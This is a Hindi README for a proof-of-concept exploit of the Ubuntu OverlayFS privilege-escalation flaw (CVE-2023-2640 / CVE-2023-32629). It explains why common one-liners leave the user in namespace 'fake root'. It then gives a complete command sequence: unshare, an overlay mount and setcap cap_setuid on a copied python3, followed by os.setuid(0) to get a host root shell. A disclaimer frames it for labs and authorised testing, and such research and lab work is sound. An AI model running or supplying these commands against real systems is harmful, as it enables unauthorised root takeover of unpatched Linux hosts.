
उबंटू OverlayFS (GameOver(lay)) के लिए एक साफ, इंटरैक्टिव मल्टी-स्टेप लोकल प्रिविलेज एस्केलेशन (LPE) शोषण जो उपयोगकर्ता नेमस्पेस सैंडबॉक्स से बाहर निकलकर एक वास्तविक होस्ट रूट शेल प्राप्त करता है।
एक इंटरैक्टिव, बहु-चरणीय लोकल प्रिविलेज एस्केलेशन (LPE) प्रूफ ऑफ कॉन्सेप्ट (PoC) जो Ubuntu Linux कर्नेल OverlayFS कमजोरियों (CVE-2023-2640 / CVE-2023-32629) को लक्षित करता है।
मानक स्वचालित एक-लाइनर्स के विपरीत जो आपके इंटरैक्टिव शेल को एक प्रतिबंधात्मक यूज़र नेमस्पेस (फेक रूट) में फँसा देते हैं, यह विधि एक्सप्लॉइट अनुक्रम को विभाजित करती है ताकि सुरक्षित रूप से एक वास्तविक, अप्रतिबंधित होस्ट रूट शेल प्राप्त किया जा सके।
कई सार्वजनिक एक्सप्लॉइट्स सेटअप और निष्पादन को एक साथ एक एकल स्वचालित शेल अनुक्रम का उपयोग करके जोड़ते हैं, जैसे:
unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"
क्योंकि Python निष्पादन पेलोड unshare के डबल कोट्स के अंदर एम्बेडेड है, यह यूज़र नेमस्पेस सैंडबॉक्स के अंदर निष्पादित होता है।
uid=0(root) के रूप में दिखती है, लेकिन आपका शेल होस्ट से क्रिप्टोग्राफिक रूप से अलग होता है। यदि आप होस्ट रूट निर्देशिका (cd /root) देखने का प्रयास करते हैं, तो आपको Permission Denied त्रुटि मिलेगी।यह PoC प्रक्रिया को दो अलग-अलग तार्किक चरणों में विभाजित करता है:
ovl_copy_up दोष का शोषण करने के लिए पर्याप्त समय तक फेक रूट अनुमतियाँ प्राप्त करने के लिए unshare चलाएँ, जिससे एक उच्च-विशेषाधिकार setcap cap_setuid+eip क्षमता एक स्थानीय Python बाइनरी फ़ोल्डर में लीक हो जाए।os.setuid(0) की अनुमति देता है, और आपको वास्तविक होस्ट-स्तरीय सिस्टम प्रशासन विशेषाधिकार प्रदान करता है।ovl_copy_up_meta_inode_data फ़ंक्शन में दोष जो फ़ाइल माइग्रेशन के दौरान सत्यापन जाँच को पूरी तरह से बायपास करने की अनुमति देता है।6.2.0-26-generic से नीचे के Linux कर्नेल रिलीज़ चला रहे हैं।exploit.sh को क्लोन या डाउनलोड करें (उदाहरण के लिए, /tmp के अंदर)।chmod +x exploit.sh
./exploit.sh
यदि आप एक अस्थिर रिवर्स शेल पर काम कर रहे हैं, तो इन कमांड को पूरी तरह से अलग-अलग चलाएँ, प्रत्येक पंक्ति के बाद Enter दबाते हुए:
# 1. Clean workspace environment
cd /tmp && rm -rf l u w m
# 2. Forge the backdoor within the temporary namespace sandbox
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
# 3. Trigger execution on the real host to claim true root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
अपने वास्तविक विशेषाधिकारों को सत्यापित करने के लिए अपनी वर्तमान उपयोगकर्ता प्रोफ़ाइल जाँचें:
whoami
cat /root/root.txt
इस इंटरैक्टिव रिफैक्टर में उपयोग किए गए आधारभूत एक्सप्लॉइट मैकेनिक्स की खोज और दस्तावेज़ीकरण मूल रूप से सुरक्षा शोधकर्ताओं Liav Eliyahu और g1vi द्वारा किया गया था।
यह रिपॉजिटरी केवल शैक्षिक, सुरक्षा अनुसंधान और अधिकृत पेनिट्रेशन टेस्टिंग उद्देश्यों (जैसे HackTheBox / OffSec लैब्स) के लिए बनाई गई है। लेखक इस सामग्री के दुरुपयोग, अनधिकृत पहुँच प्रयासों, या बुनियादी ढाँचे को हुए नुकसान के लिए कोई दायित्व नहीं मानता है। जिम्मेदारी से उपयोग करें।